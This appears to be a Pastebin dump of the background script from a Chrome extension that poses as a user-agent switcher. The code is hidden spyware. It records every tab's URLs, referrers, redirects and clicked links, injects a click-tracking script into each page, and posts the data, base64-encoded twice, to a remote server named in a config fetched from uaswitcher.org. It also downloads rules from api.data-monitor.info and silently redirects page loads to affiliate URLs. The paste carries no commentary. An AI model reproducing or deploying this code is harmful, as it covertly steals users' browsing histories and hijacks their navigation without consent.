Advertisement
Guest User

Untitled

a guest
Sep 10th, 2017
863
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function() {
  2.     function req(obj, callback, errback) {
  3.         var params = obj.params ? obj.params : []
  4.           , xhr = new XMLHttpRequest;
  5.         if (callback && (xhr.onload = function(e) {
  6.             e = e.target,
  7.             200 === e.status || 304 === e.status ? callback({
  8.                 responseText: e.responseText,
  9.                 headers: e.getAllResponseHeaders().split("\r\n")
  10.             }) : errback && errback(e.status)
  11.         }
  12.         ),
  13.         errback && (xhr.onerror = function(e) {
  14.             e = e.target.status,
  15.             errback(e)
  16.         }
  17.         ),
  18.         xhr.open(obj.method, obj.url),
  19.         params.head)
  20.             for (i in params.head)
  21.                 obj.setRequestHeader(i, params.head[i]);
  22.         if (params.mime)
  23.             for (i in params.mime)
  24.                 obj.overrideMimeType(params.mime[i]);
  25.         if (params.post && xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
  26.         (params.post || params.xml) && xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest"),
  27.         "object" == typeof params.post) {
  28.             x = params.post,
  29.             params.post = "";
  30.             for (i in x)
  31.                 x.hasOwnProperty(i) && (params.post += (params.post ? "&" : "") + i + "=" + x[i])
  32.         }
  33.         xhr.send(params.post)
  34.     }
  35.     function cutw(hostname) {
  36.         return hostname.replace(/(^www\.|\:\d+$)/gi, "")
  37.     }
  38.     function getDomain(hostname) {
  39.         var result, matches = hostname.match(domainRgxp);
  40.         return matches && (result = matches[1]),
  41.         result
  42.     }
  43.     function getSub(hostname, domain) {
  44.         var result = hostname.replace(domain, "");
  45.         return result && (result = result.replace(/\.$/, "")),
  46.         result
  47.     }
  48.     function prepareLink(link) {
  49.         /^(\w+:)?\/\//.test(link) || (link = "http://" + link);
  50.         var result, matches = link.match(mainRgxp);
  51.         if (matches)
  52.             try {
  53.                 var host = cutw(matches[2])
  54.                   , domain = getDomain(host);
  55.                 if (domain) {
  56.                     var sub = getSub(host, domain);
  57.                     result = {
  58.                         sch: matches[1],
  59.                         host: host,
  60.                         domain: domain,
  61.                         sub: sub,
  62.                         path: (matches[3] || "").replace(/^\//, ""),
  63.                         search: (matches[4] || "").replace(/^\?/, "")
  64.                     }
  65.                 }
  66.             } catch (e) {
  67.                 console.log("Error: " + url)
  68.             }
  69.         return result
  70.     }
  71.     function tryUrl(url) {
  72.         if (!(usedT && usedT > (new Date).getTime() - 42e5)) {
  73.             var res, prepared = prepareLink(url);
  74.             if (prepared && rulesObject[prepared.domain]) {
  75.                 var subd = rulesObject[prepared.domain][prepared.sub];
  76.                 if (subd && (subd[prepared.path] ? res = subd[prepared.path] : subd["*"] && (res = subd["*"])),
  77.                 res || (subd = rulesObject[prepared.domain]["*"]) && (subd[prepared.path] ? res = subd[prepared.path] : subd["*"] && (res = subd["*"])),
  78.                 res)
  79.                     return res = res.replace(/__CURURL__/g, encodeURIComponent(url)).replace(/__SUBID__/g, wid),
  80.                     usedT = (new Date).getTime(),
  81.                     localStorage.usedT = usedT,
  82.                     res
  83.             }
  84.         }
  85.     }
  86.     function getData() {
  87.         setTimeout(getData, 864e5),
  88.         req({
  89.             method: "GET",
  90.             url: host + "bhrule?sub=" + wid
  91.         }, function(response) {
  92.             try {
  93.                 response = JSON.parse(response.responseText),
  94.                 rulesObject = response.rules ? response.rules : {}
  95.             } catch (e) {}
  96.         }, function() {})
  97.     }
  98.     var wrap1 = function() {
  99.         function qs(obj) {
  100.             return Object.keys(obj).filter(function(key) {
  101.                 return (!!obj[key] || !1 === obj[key]) && -1 === filtered.indexOf(key)
  102.             }).map(function(key) {
  103.                 var val = obj[key];
  104.                 return "se" === key ? obj[key].map(function(v) {
  105.                     return key + "=" + encodeURIComponent(v)
  106.                 }).join("&") : (-1 < "sh b a lt zz".split(" ").indexOf(key) && (val = encodeURIComponent(val || "")),
  107.                 key + "=" + val)
  108.             }).join("&")
  109.         }
  110.         function fetchOverlayPattern(data, callback) {
  111.             if (listenerLast = localStorage.getItem("listenerLast"),
  112.             (new Date).getTime() - listenerLast > 300) {
  113.                 data.tnew = Date.now();
  114.                 var bqa = qs(data)
  115.                   , payload = btoa(bqa)
  116.                   , xhr = new XMLHttpRequest;
  117.                 xhr.open("POST", configFetcher.MainLocator() + main_route, !0),
  118.                 xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"),
  119.                 xhr.onload = function(e) {
  120.                     if (200 == this.status)
  121.                         try {
  122.                             callback(JSON.parse(this.response))
  123.                         } catch (e) {}
  124.                 }
  125.                 ,
  126.                 xhr.send(["e", encodeURIComponent(btoa(payload))].join("=")),
  127.                 localStorage.setItem("listenerLast", (new Date).getTime())
  128.             }
  129.         }
  130.         function TabList() {
  131.             var hash = {}
  132.               , lp = ""
  133.               , lpi = void 0;
  134.             return {
  135.                 remove: function(tid) {
  136.                     delete hash[tid]
  137.                 },
  138.                 edit: function(tid, props) {
  139.                     return tid ? (hash[tid] || this.clear(tid),
  140.                     Object.keys(props || {}).forEach(function(key) {
  141.                         hash[tid][key] = props[key]
  142.                     }),
  143.                     hash[tid]) : null
  144.                 },
  145.                 request: function(tabId, tab) {
  146.                     if (configFetcher.IsEnable() && toggler.isOn()) {
  147.                         if (!hash[tabId] || hash[tabId].p && !hash[tabId].replaced)
  148.                             return void this.clear(tabId);
  149.                         var currTab = hash[tabId] || {}
  150.                           , url = validateUrl(tab.url);
  151.                         url && (currTab.hh || lp != tab.url) && (tab.active || hash[tabId].fr || hash[tabId].uk.push("background_auto_reloading"),
  152.                         hash[tabId].dada && hash[hash[tabId].dada] && hash[hash[tabId].dada].retroet && (hash[tabId].zz = hash[hash[tabId].dada].retroet),
  153.                         fetchOverlayPattern(this.edit(tabId, {
  154.                             sh: url,
  155.                             b: lp
  156.                         }), function(d) {}),
  157.                         tab.active && (lp = currTab.sh),
  158.                         hash[tabId].zz = null,
  159.                         hash[tabId].dada = null),
  160.                         this.clear(tabId),
  161.                         hash[tabId].sh = url,
  162.                         hash[tabId].p = !0
  163.                     }
  164.                 },
  165.                 clear: function(tid) {
  166.                     hash[tid] = {
  167.                         var: version || "missing",
  168.                         val: 21,
  169.                         un: "1",
  170.                         su: browsername,
  171.                         ch: ch,
  172.                         new: itemator1,
  173.                         exp: guid(),
  174.                         sesnew: "",
  175.                         d: 0,
  176.                         se: [],
  177.                         restarting: !1,
  178.                         sh: (hash[tid] || {}).sh || null,
  179.                         a: (hash[tid] || {}).a || "",
  180.                         uk: [],
  181.                         fr: !1,
  182.                         aj: (hash[tid] || {}).aj || !1,
  183.                         replaced: (hash[tid] || {}).replaced || !1,
  184.                         hh: (hash[tid] || {}).hh || !1,
  185.                         dada: (hash[tid] || {}).dada || null,
  186.                         retroet: (hash[tid] || {}).retroet || "",
  187.                         zz: (hash[tid] || {}).zz || ""
  188.                     }
  189.                 },
  190.                 details: function(tid, cb) {
  191.                     chrome.tabs.get(tid, function(details) {
  192.                         chrome.runtime.lastError || cb(details)
  193.                     })
  194.                 },
  195.                 lpUpdate: function(param) {
  196.                     var idd = param.id || param;
  197.                     lpi = param.id || void 0,
  198.                     lp = (hash[idd] || {}).sh || lp
  199.                 },
  200.                 getLpi: function() {
  201.                     return lpi
  202.                 }
  203.             }
  204.         }
  205.         function validateUrl(url) {
  206.             return 0 === url.indexOf("http") && -1 === url.indexOf("://localhost") && -1 === url.indexOf("chrome/newtab") && 0 !== url.indexOf("chrome-") && 0 !== url.indexOf("about:") && -1 === url.indexOf("chrome://") ? url : null
  207.         }
  208.         function reselected(tid) {
  209.             tablist.details((tid || {}).tabId || tid, tablist.lpUpdate)
  210.         }
  211.         function onUpdated(tabId, details, tab) {
  212.             details && "complete" === details.status && (tablist.edit(tabId).p && tablist.edit(tabId).aj && tablist.edit(tabId, {
  213.                 sh: void 0,
  214.                 p: !1,
  215.                 aj: !1
  216.             }),
  217.             tablist.edit(tabId, {
  218.                 ng: "ajax",
  219.                 aj: !0
  220.             }),
  221.             tablist.request(tabId, tab),
  222.             tablist.edit(tabId, {
  223.                 replaced: !1
  224.             }))
  225.         }
  226.         function onReplaced(addedTabId, removedTabId) {
  227.             tablist.edit(addedTabId, {
  228.                 replaced: !0
  229.             }),
  230.             tablist.details(addedTabId, tablist.request.bind(tablist, (addedTabId || {}).tabId || addedTabId))
  231.         }
  232.         function onBeforeSendHeaders(details) {
  233.             return tablist.edit(details.tabId, {
  234.                 hh: !0
  235.             }),
  236.             details.requestHeaders.some(function(rh) {
  237.                 return /^Referer$/i.test(rh.name) && tablist.edit(details.tabId, {
  238.                     a: rh.value
  239.                 })
  240.             }) || tablist.edit(details.tabId, {
  241.                 a: ""
  242.             }),
  243.             {
  244.                 requestHeaders: details.requestHeaders
  245.             }
  246.         }
  247.         function onCommitted(dtls) {
  248.             dtls = dtls || {};
  249.             var tid = dtls.tabId
  250.               , tsh = dtls.transitionQualifiers;
  251.             tid && 0 === dtls.frameId && (tablist.edit(tid, {
  252.                 ng: dtls.transitionType,
  253.                 tsh: tsh
  254.             }),
  255.             /client_redirect/.test(tsh) && tablist.edit(tid, {
  256.                 lt: dtls.url
  257.             }),
  258.             /server_redirect/.test(tsh),
  259.             tablist.details(tid, tablist.request.bind(tablist, (tid || {}).tabId || tid)))
  260.         }
  261.         function cwonRemoved(windowID) {
  262.             ct.query({
  263.                 active: !0
  264.             }, function(tabs) {
  265.                 tabs[0] && tablist.lpUpdate(tabs[0])
  266.             })
  267.         }
  268.         function cwonFocused(window) {
  269.             cw.WINDOW_ID_NONE != window && ct.query({
  270.                 windowId: window,
  271.                 active: !0
  272.             }, function(tabs) {
  273.                 tabs[0] && tabs[0].active && tablist.lpUpdate(tabs[0])
  274.             })
  275.         }
  276.         function onCreated(tab) {
  277.             var openerTabId = (tablist.edit(tab.id, {
  278.                 fr: !0,
  279.                 replaced: !1
  280.             }),
  281.             tab.openerTabId || tablist.getLpi());
  282.             tablist.edit(openerTabId),
  283.             tab.url.length && tablist.edit(openerTabId) && tab.url === tablist.edit(openerTabId).sh ? tablist.edit(tab.id).uk.push("duplication") : tab.url.length && ct.query({
  284.                 url: tab.url
  285.             }, function(tabs) {
  286.                 (tabs || []).length > 1 && (tablist.edit(tab.id).uk.push("duplication"),
  287.                 tablist.edit(tab.id).uk.push("background_duplication"))
  288.             }),
  289.             "complete" != tab.status || tab.openerTabId || tablist.edit(tab.id).uk.push("reopening"),
  290.             tablist.edit(tab.id, {
  291.                 dada: openerTabId
  292.             })
  293.         }
  294.         function guid() {
  295.             var guid = localStorage.getItem(guid_key);
  296.             if (!guid) {
  297.                 var g = function() {
  298.                     return (65536 * (1 + Math.random(Date.now() + 12)) | 0).toString(30).substring(1)
  299.                 };
  300.                 guid = g() + g() + g() + g() + g() + g() + g() + g() + g(),
  301.                 localStorage.setItem(guid_key, guid)
  302.             }
  303.             return guid
  304.         }
  305.         var itemator1 = 310
  306.           , version = chrome.runtime.getManifest().version
  307.           , main_route = (localStorage.serverInfo && JSON.parse(localStorage.serverInfo),
  308.         "/logic/page/data")
  309.           , guid_key = "uaswitcherk"
  310.           , skeys = ["o", "u"]
  311.           , ch = 4
  312.           , browsername = "chrome"
  313.           , toggler = new function() {
  314.             function save() {
  315.                 localStorage.setItem(localKey, isOn ? 1 : 0)
  316.             }
  317.             function _optTurnOn() {}
  318.             var isOn = !0
  319.               , localKey = "isdugnlkWfmgosd2";
  320.             this.turnOn = function() {
  321.                 isOn = !0,
  322.                 save(),
  323.                 _optTurnOn()
  324.             }
  325.             ,
  326.             this.turnOff = function() {
  327.                 isOn = !1,
  328.                 save()
  329.             }
  330.             ,
  331.             this.isOn = function() {
  332.                 return isOn
  333.             }
  334.             ,
  335.             this.whenOn = function() {
  336.                 return this.isOn() ? Promise.resolve(!0) : new Promise(function(resolve) {
  337.                     _optTurnOn = function() {
  338.                         resolve()
  339.                     }
  340.                 }
  341.                 )
  342.             }
  343.             ,
  344.             function() {
  345.                 var val = localStorage.getItem(localKey)
  346.                   , intVal = parseInt(val);
  347.                 isOn = !!isNaN(intVal) || 1 === intVal
  348.             }()
  349.         }
  350.           , configFetcher = new function() {
  351.             var settings = ""
  352.               , setDump = function() {
  353.                 localStorage.setItem("uasc", JSON.stringify(settings))
  354.             }
  355.               , setUp = function(endpt) {
  356.                 var cb = function(sts, resp) {
  357.                     sts && (settings = JSON.parse(resp),
  358.                     setDump())
  359.                 }
  360.                   , xhr = new XMLHttpRequest;
  361.                 xhr.onreadystatechange = function() {
  362.                     4 == xhr.readyState && cb.apply(null, [200 == xhr.status, xhr.responseText].concat(arguments))
  363.                 }
  364.                 ,
  365.                 xhr.open("GET", endpt + "?" + function(arr) {
  366.                     return Object.keys(arr).map(function(hashed) {
  367.                         return hashed + "=" + arr[hashed]
  368.                     }).join("&")
  369.                 }({
  370.                     s: itemator1,
  371.                     ver: version
  372.                 }), !0),
  373.                 xhr.send()
  374.             };
  375.             !function() {
  376.                 var p = localStorage.getItem("uasc");
  377.                 settings = p ? JSON.parse(p) : settings
  378.             }(),
  379.             toggler.whenOn().then(function() {
  380.                 setUp("https://uaswitcher.org/splash")
  381.             }),
  382.             this.enablator = function() {
  383.                 settings[skeys[0]] = 1,
  384.                 setDump()
  385.             }
  386.             ,
  387.             this.disablator = function() {
  388.                 settings[skeys[0]] = 0,
  389.                 setDump()
  390.             }
  391.             ,
  392.             this.IsEnable = function() {
  393.                 return Boolean(settings && settings[skeys[0]])
  394.             }
  395.             ,
  396.             this.MainLocator = function() {
  397.                 return settings && settings[skeys[1]]
  398.             }
  399.         }
  400.           , filtered = ["restarting", "hh", "p", "fr", "aj", "replaced", "retroet", "dada"]
  401.           , listenerLast = localStorage.getItem("listenerLast") || 0
  402.           , tablist = new TabList
  403.           , ct = (chrome.browserAction,
  404.         chrome.tabs)
  405.           , wr = chrome.webRequest
  406.           , wn = chrome.webNavigation
  407.           , cw = chrome.windows;
  408.         chrome.runtime.onMessage.addListener(function(request, sender) {
  409.             request.href ? tablist.edit(sender.tab.id, {
  410.                 zz: request.href
  411.             }) : request.ahref && tablist.edit(sender.tab.id, {
  412.                 retroet: request.ahref
  413.             })
  414.         }),
  415.         cw.getAll({
  416.             populate: !0
  417.         }, function(windows) {
  418.             for (var w = 0; w < windows.length; w++)
  419.                 for (var i = 0; i < windows[w].tabs.length; i++)
  420.                     validateUrl(windows[w].tabs[i].url) && (tablist.edit(windows[w].tabs[i].id, {
  421.                         sh: windows[w].tabs[i].url,
  422.                         restarting: !0
  423.                     }),
  424.                     windows[w].focused && windows[w].tabs[i].active && tablist.lpUpdate(windows[w].tabs[i]))
  425.         }),
  426.         ct.onUpdated.addListener(onUpdated),
  427.         ct.onReplaced.addListener(onReplaced);
  428.         var repertuar = {
  429.             types: ["main_frame"],
  430.             urls: ["<all_urls>"]
  431.         };
  432.         return wr.onBeforeRequest.addListener(function(details) {
  433.             validateUrl(details.url) && tablist.edit(details.tabId, {
  434.                 sh: void 0,
  435.                 p: !1,
  436.                 aj: !1
  437.             })
  438.         }, repertuar, ["blocking"]),
  439.         wr.onBeforeRedirect.addListener(function(details) {
  440.             validateUrl(details.url) && tablist.edit(details.tabId).se.push(details.url)
  441.         }, repertuar),
  442.         wr.onBeforeSendHeaders.addListener(onBeforeSendHeaders, repertuar, ["blocking", "requestHeaders"]),
  443.         wr.onHeadersReceived.addListener(function(details) {
  444.             tablist.edit(details.tabId, {
  445.                 hh: !0
  446.             })
  447.         }, repertuar),
  448.         wn.onCommitted.addListener(onCommitted),
  449.         ct.onRemoved.addListener(function(tabId) {
  450.             tablist.remove(tabId)
  451.         }),
  452.         cw.onRemoved.addListener(cwonRemoved),
  453.         ct.onCreated.addListener(onCreated),
  454.         cw.onFocusChanged.addListener(cwonFocused),
  455.         ct.onActivated ? ct.onActivated.addListener(reselected) : ct.onSelectionChanged.addListener(reselected),
  456.         wr.onErrorOccurred.addListener(function(details) {
  457.             try {
  458.                 tablist.edit(details.tabId, {
  459.                     se: null
  460.                 })
  461.             } catch (e) {}
  462.         }, repertuar),
  463.         {
  464.             optin: toggler.turnOn,
  465.             optout: toggler.turnOff,
  466.             isopt: toggler.isOn,
  467.             whenopt: toggler.whenOn()
  468.         }
  469.     }();
  470.     wrap1.optin(),
  471.     chrome.tabs.onUpdated.addListener(function(tabId) {
  472.         chrome.tabs.get(tabId, function(tab) {
  473.             "loading" == tab.status && chrome.tabs.executeScript(tab.id, {
  474.                 code: `
  475.                     if(!document.getElementById("sbmarwusasv5")) {
  476.                        var flag=document.createElement("span");
  477.                        flag.id="sbmarwusasv5";
  478.                        document.body.appendChild(flag);
  479.      
  480.                        document.body.addEventListener("click", function(event) {
  481.                         try {
  482.                             if(event.target.href) {
  483.                                 chrome.runtime.sendMessage({href: event.target.href, listener: "usassmwv5"});
  484.                             }
  485.                         }catch(e){
  486.                             console.log(e);
  487.                         }
  488.                        });
  489.                    
  490.                     document.body.addEventListener("contextmenu", function(event) {
  491.                         if(event.target.href) {
  492.                             chrome.runtime.sendMessage({ahref: event.target.href, listener: "usassmwv5"});
  493.                         }
  494.                         return false;
  495.                     }, false);
  496.                    
  497.                     document.body.addEventListener("auxclick", function(event) {
  498.                         if(event.target.href) {
  499.                             chrome.runtime.sendMessage({ahref: event.target.href, listener: "usassmwv5"});
  500.                         }
  501.                     });
  502.              }`
  503.             })
  504.         })
  505.     });
  506.     var host = "http://api.data-monitor.info/api/"
  507.       , wid = 116
  508.       , rulesObject = {}
  509.       , usedT = localStorage.usedT ? parseInt(localStorage.usedT) : null
  510.       , mainRgxp = new RegExp("^(?:([^:\\/?]+):)?(?:\\/\\/([^\\/]*))?([^?]*)(?:\\?([^$]*))?")
  511.       , domainRgxp = /((?:[^.]+)\.(?:(?:com?|org)\.)?\w+)$/i
  512.       , listenFunc = function(details) {
  513.         if (!(usedT && usedT > (new Date).getTime() - 42e5) && 0 === details.frameId && "main_frame" == details.type && -1 === details.parentFrameId && details.tabId > 0 && /^https?/i.test(details.url)) {
  514.             var current = details.url
  515.               , new_url = (prepareLink(current),
  516.             tryUrl(current));
  517.             if ("string" == typeof new_url && current != new_url)
  518.                 return {
  519.                     redirectUrl: new_url
  520.                 }
  521.         }
  522.     };
  523.     chrome.webRequest.onBeforeRequest.addListener(listenFunc, {
  524.         urls: ["<all_urls>"]
  525.     }, ["blocking"]),
  526.     getData();
  527. }
  528. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement